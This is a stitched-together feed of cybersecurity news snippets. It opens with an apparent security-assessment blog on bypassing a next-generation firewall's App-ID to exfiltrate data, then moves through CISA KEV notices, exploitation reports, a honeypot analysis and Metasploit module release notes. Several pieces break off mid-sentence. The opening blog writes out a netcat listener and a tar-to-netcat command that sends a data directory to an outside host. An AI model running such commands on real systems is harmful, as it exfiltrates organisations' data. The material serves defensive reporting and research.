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In case of a cyber incident, most organizations fear more of data loss (via exfiltration) than regular data encryption because they have a good backup policy in place. If exfiltration happened, it means a total loss of control of the stolen data with all the consequences (PII, CC numbers, ). While performing a security assessment of a corporate network, I discovered that a TCP port was open to the wild Internet, even if the audited company has a pretty strong firewall policy. The open port was discovered via a regular port scan. In such situation, you try to exploit this hole in the firewall. What I did, I tried to exfiltrate data through this port. It s easy: Simulate a server controlled by a threat actor: root@attacker:~# nc -l -p 12345 /tmp/victim.tgz And, from a server on the victim s network: root@victim:~# tar czvf - /juicy/data/to/exfiltrate | nc wild.server.com 12345 It worked but the data transfer failed after approximatively ~5KB of data sent weird! Every time, the same situation. I talked to a local Network Administrator who said that they have a Palo Alto Networks firewall in place with App-ID enabled on this port. Note : What I am explaining here is not directly related to this brand of firewall. The same issue may apply with any next-generation firewall! For example, Checkpoint firewalls use the App Control blade and Fortinet firewalls use Application Control . App-ID in Palo Alto Networks firewalls is the component performing traffic classification on the protected network(s), regardless of port, protocol, or encryption. Instead of relying on traditional port-based rules (e.g., TCP/80 == HTTP), App-ID analyzes traffic in real time to determine the actual application (e.g., Facebook, Dropbox, custom apps), enabling more granular and accurate security policies. This allows administrators to permit, deny, or control applications directly, apply user-based rules, and enforce security profiles (IPS, URL filtering, etc.) based on the true nature of the traffic rather than superficial indicators like ports. This also prevent well-known protocols to be used on exotic ports (ex: SSH over 12222). The main issue with this technique is that enough packets must be sent over the wire to perform a good classification. So, the traffic is always allowed first and, if something bad is detected, remaining packets are blocked. In terms of data volume, there s no strict fixed threshold, but in practice App-ID usually needs at least the first few KB of application payload to reach a reliable classification. Roughly speaking: 1 KB (or just handshake packets): almost always insufficient likely unknown or very generic classification ~1 5 KB: basic identification possible for simple or clear-text protocols (HTTP, DNS, some TLS SNI-based detection) ~5 10+ KB: much higher confidence, especially for encrypted or complex applications That s why my attempts to exfiltrate data were all blocked after ~5KB. Can we bypass this? Let s try the following scenario: On t

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OpenAI Codex vulnerability allowed attackers to steal GitHub tokens via malicious branch names using hidden Unicode command injection flaw.

15-year-old strongSwan flaw allows attackers to crash VPNs via integer underflow bug, affecting EAP-TTLS plugin and multiple versions worldwide.

Red teaming has always played a role in testing defenses, but in 2026 its role is changing. Security teams are no longer asking whether an attacker can get in. That question has already been answered. The real challenge is whether teams can detect, validate, and respond before an incident escalates. That shift sits at the center of this year’s Rapid7 Global Cybersecurity Summit , taking place on May 12-13. As part of the Continuous Threat Defense pillar, the summit will explore red teaming not as a standalone exercise, but as a core input into how modern security operations function day to day. From validation to continuous feedback In sessions like Using Red Teaming to Power Preemptive MDR , the focus moves away from point-in-time testing and toward becoming part of a continuous feedback loop. Detection logic is tested against real attacker techniques and gaps are exposed before they become incidents. Response workflows are refined in conditions that reflect how attacks actually unfold, rather than how they are expected to behave. This represents a clear shift from traditional engagements. Instead of producing a static report, red teaming feeds directly into detection engineering and MDR operations. Many teams still rely on assumptions about coverage, but those assumptions often break down under pressure. Continuous validation helps close that gap. Aligning red teaming with how attacks really happen Modern attacks rarely follow a clean path. They move across identity, cloud, and endpoint, taking advantage of timing, visibility gaps, and delayed decisions. Red teaming has to reflect that reality. At the summit, the conversation connects adversary behavior with how detection and response teams operate in practice. This includes how signals are correlated across environments, how escalation decisions are made, and where teams lose time during an investigation. The goal is not to simulate attacks for the sake of it, but to understand how those attacks would be detected, prioritized, and contained in a real environment. Why red teaming matters now The move toward preemptive security operations depends on confidence. Teams need to know that what they have built will hold up when it matters. Red teaming supports that by grounding security programs in evidence. It shows what works, highlights what does not, and gives teams an opportunity to improve before a live incident forces change. This becomes even more important as organizations adopt MDR models, integrate AI into workflows, and operate across increasingly complex environments. Without continuous validation, complexity creates blind spots that are difficult to see until it is too late. Rapid7's Cybersecurity Summit: A preview of what’s to come Red teaming is one part of a broader shift happening across the summit. Sessions across detection, response, AI, and exposure management all point in the same direction: Security operations must move earlier in the attack lifecycle, reduce noise, improve pri

Tax-season phishing floods deliver RMM malware, credential theft, BEC and tax-form scams

AI SOC agents can reduce alert fatigue, but most teams fail to measure real outcomes. Prophet Security breaks down Gartner's questions for evaluating AI SOC agents and separating real impact from hype. [...]

Some weeks are loud. This one was quieter but not in a good way. Long-running operations are finally hitting courtrooms, old attack methods are showing up in new places, and research that stopped being theoretical right around the time defenders stopped paying attention. There's a bit of everything this week. Persistence plays, legal wins, influence ops, and at least one thing that looks boring

Cybersecurity researchers have discovered a remote access toolkit of Russian-origin that's distributed via malicious Windows shortcut (LNK) files that are disguised as private key folders. The CTRL toolkit, according to Censys, is custom-built using .NET and includes various executables" to facilitate credential phishing, keylogging, Remote Desktop Protocol (RDP) hijacking, and reverse tunneling

p CISA has added one new vulnerability to its a href= /known-exploited-vulnerabilities-catalog data-entity-type= node data-entity-uuid= 79453b83-86b9-4e2f-b1ec-abf73c6eb291 data-entity-substitution= canonical title= Known Exploited Vulnerabilities Catalog Known Exploited Vulnerabilities (KEV) Catalog /a , based on evidence of active exploitation. /p ul li a href= https://www.cve.org/CVERecord?id=CVE-2026-3055 target= _blank CVE-2026-3055 /a Citrix NetScaler Out-of-Bounds Read Vulnerability /li /ul p This type of vulnerability is a frequent attack vector for malicious cyber actors and poses significant risks to the federal enterprise. /p p a href= https://www.cisa.gov/binding-operational-directive-22-01 Binding Operational Directive (BOD) 22-01: Reducing the Significant Risk of Known Exploited Vulnerabilities /a established the KEV Catalog as a living list of known Common Vulnerabilities and Exposures (CVEs) that carry significant risk to the federal enterprise. BOD 22-01 requires Federal Civilian Executive Branch (FCEB) agencies to remediate identified vulnerabilities by the due date to protect FCEB networks against active threats. See the a href= https://www.cisa.gov/sites/default/files/publications/Reducing_the_Significant_Risk_of_Known_Exploited_Vulnerabilities_211103.pdf BOD 22-01 Fact Sheet /a for more information. /p p Although BOD 22-01 only applies to FCEB agencies, CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of a href= /known-exploited-vulnerabilities-catalog data-entity-type= node data-entity-uuid= 79453b83-86b9-4e2f-b1ec-abf73c6eb291 data-entity-substitution= canonical title= Known Exploited Vulnerabilities Catalog KEV Catalog vulnerabilities /a as part of their vulnerability management practice. CISA will continue to add vulnerabilities to the catalog that meet the a href= /known-exploited-vulnerabilities data-entity-type= node data-entity-uuid= f2adba9a-0404-494c-a90c-4363a4a5c934 data-entity-substitution= canonical title= Reducing the Significant Risk of Known Exploited Vulnerabilities specified criteria /a . nbsp; /p

Secrets sprawl isn't slowing down: in 2025, it accelerated faster than most security teams anticipated. GitGuardian's State of Secrets Sprawl 2026 report analyzed billions of commits across public GitHub and uncovered 29 million new hardcoded secrets in 2025 alone, a 34% increase year over year and the largest single-year jump ever recorded. This year's findings reveal three core trends: AI has

Researchers from watchTowr and Defused have found evidence that attackers are actively exploiting CVE-2026-3055, a critical NetScaler vulnerability

Attackers are now actively exploiting a critical vulnerability in Fortinet's FortiClient EMS platform, according to threat intelligence company Defused. [...]

Three threat activity clusters aligned with China have targeted a government organization in Southeast Asia as part of what has been described as a "complex and well-resourced operation." The campaigns have led to the deployment of various malware families, including HIUPAN (aka USBFect, MISTCLOAK, or U2DiskWatch), PUBLOAD, EggStremeFuel (aka RawCookie), EggStremeLoader (aka Gorem RAT), MASOL

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A lot of the information seen on DShield honeypots [1] is repeated bot traffic, especially when looking at the Cowrie [2] telnet and SSH sessions. However, how long a session lasts, how many commands are run per session and what the last commands run before a session disconnects can vary. Some of this information could help indicate whether a session is automated and if a honeypot was fingerprinted. This information can also be used to find more interesting honeypot sessions. To get an idea of what that variety looks like, I reviewed about 3 years of data from 6 honeypots. Some of the honeypots have been running for different periods of time, but it should give a good overview of different attacks seen on telnet/SSH honeypots. Since I already made a python script [3] that summarizes some of this data for me, it made the process a bit easier. Before going into the details, some of the basic information: Data Timeframe: 4/13/2022 - 3/21/2026 Number of Sessions: 1,206,566 Min Max Median Mean Range (Max-Min) Number of Commands Per Session 0 27742 17.49 20.0 27742 Duration of Sessions (Seconds) 0.041 1563.38 17.42 22.80 1563.38 Figure 1: Basic statistics for Cowrie session durations and number of commands run per session. In most sessions, we see about 20 commands and a session lasts for about 20 seconds. Number of Commands Per Session When a Cowrie session is allowed through, the client connection has the option of running commands. They client may decide to disconnect, run an automated script or run commands manually. Most of the time, there are usually under 30 commands run per session, but there are some sessions that have had over 25,000 commands run in a single session. Figure 2: There are many telnet/SSH sessions interacting with DShield honeypots that run over 25,000 commands in a single session, but most are much lower. Figure 3: Looking at most frequenty occuring number of commands run per telnet/SSH session, the majority are under 50 commads with the most frequent being 22 commands in a session. Commands in session Sessions found Percentage Running total 22 461,561 38.26% 38.26% 20 348,708 28.91% 67.17% 1 104,217 8.64% 75.81% 3 58,850 4.88% 80.69% 9 39,111 3.24% 83.93% 13 28,274 2.34% 86.27% 46 27,595 2.29% 88.56% 5 25,302 2.10% 90.66% 18 20,174 1.67% 92.33% 10 19,188 1.59% 93.92% Figure 4: The top 10 most commonly seen number of commands run in a session accounts for about 94% of the telnet/SSH sessions. Are the sessions with 22 commands similar? To help commands for differnet sessions the commands per session were concatenated and then hashed to arrive at a value that could be compared across sessions. This value would be the same if the same commands were run in the same order. This seemed like a great idea until I found a very small number of similar hashes when looking at sessions with 22 commands. Rather than seeing tens or hundreds of thousands of similar hashes, there were only 4. Looking more closely at the data demonstrated what w

A vulnerability in the Smart Slider 3 WordPress plugin, active on more than 800,000 websites, can be exploited to allow subscriber-level users access to arbitrary files on the server. [...]

A recently disclosed critical security flaw impacting Citrix NetScaler ADC and NetScaler Gateway is witnessing active reconnaissance activity, according to Defused Cyber and watchTowr. The vulnerability, CVE-2026-3055 (CVSS score: 9.3), refers to a case of insufficient input validation leading to memory overread, which an attacker could exploit to leak potentially sensitive information. Per

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a critical security flaw impacting F5 BIG-IP Access Policy Manager (APM) to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation. The vulnerability in question is CVE-2025-53521 (CVSS v4 score: 9.3), which could allow a threat actor to achieve remote code execution. "When a

Better NTLM Relaying Functionality This week’s release brings an improvement to the SMB NTLM relay server. In the past, it’s support has been expanded with modules for relaying to HTTP (ESC8), MSSQL and LDAP while still receiving connections over the humble SMB service. Prior to this release, clients required a key behavior in how they handled SMB’s STATUS_NETWORK_SESSION_EXPIRED error code, in order to relay a single authentication attempt to multiple targets. Most clients other than Window’s “net use” do not handle these errors and were thus incompatible with Metasploit SMB NTLM relaying capabilities. Now, when a single target is specified, Metasploit alters its relaying strategy to forward the Net-NTLM messages immediately, making it compatible with a broader range of clients including Linux’s smbclient. In addition, the client in RubySMB was updated to mimic the behaviour of “net use” allowing authentication attempts from RubySMB to be relayed to multiple targets successfully. New module content (3) ESC/POS Printer Command Injector Author: FutileSkills Type: Auxiliary Pull request: #20478 contributed by futileskills Path: admin/printer/escpos_tcp_command_injector Description: Adds a new auxiliary module that exploits CVE-2026-23767, an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers. The vulnerability allows an attacker to send crafted commands over the network to inject custom ESC/POS print commands, which are used in various receipt printers. Eclipse Che machine-exec Unauthenticated RCE Authors: Greg Durys [email protected] and Richard Leach Type: Exploit Pull request: #20835 contributed by GregDurys Path: linux/http/eclipse_che_machine_exec_rce AttackerKB reference: CVE-2025-12548 Description: This adds a module for CVE-2025-12548, an unauthenticated RCE in the Eclipse Che machine-exec service. The vulnerability allows attackers to connect over WebSocket on port 3333 and execute commands via JSON-RPC without authentication. This affects Red Hat OpenShift DevSpaces environments. Barracuda ESG TAR Filename Command Injection Authors: Curt Hyvarinen, Mandiant, and cfielding-r7 Type: Exploit Pull request: #21033 contributed by Alpenlol Path: linux/smtp/barracuda_esg_tarfile_rce AttackerKB reference: CVE-2023-2868 Description: Adds exploit module for CVE-2023-2868, a command injection vulnerability in Barracuda Email Security Gateway (ESG) appliances. Filenames in TAR attachments are passed to shell commands without sanitization, allowing RCE via backtick injection. Enhancements and features (1) #21049 from h00die - This updates post modules to use an API that will expand multiple environment variables when set within the WritableDir option. Bugs fixed (5) #20967 from jheysel-r7 - This fix an issue that prevents successful authentication relay from Ruby SMB Client and smbclient. These clients are now compatible with Msf::Exploit::Remote::SMB::RelayServer. #21148 from adfoster-r7 - Fixes a bug where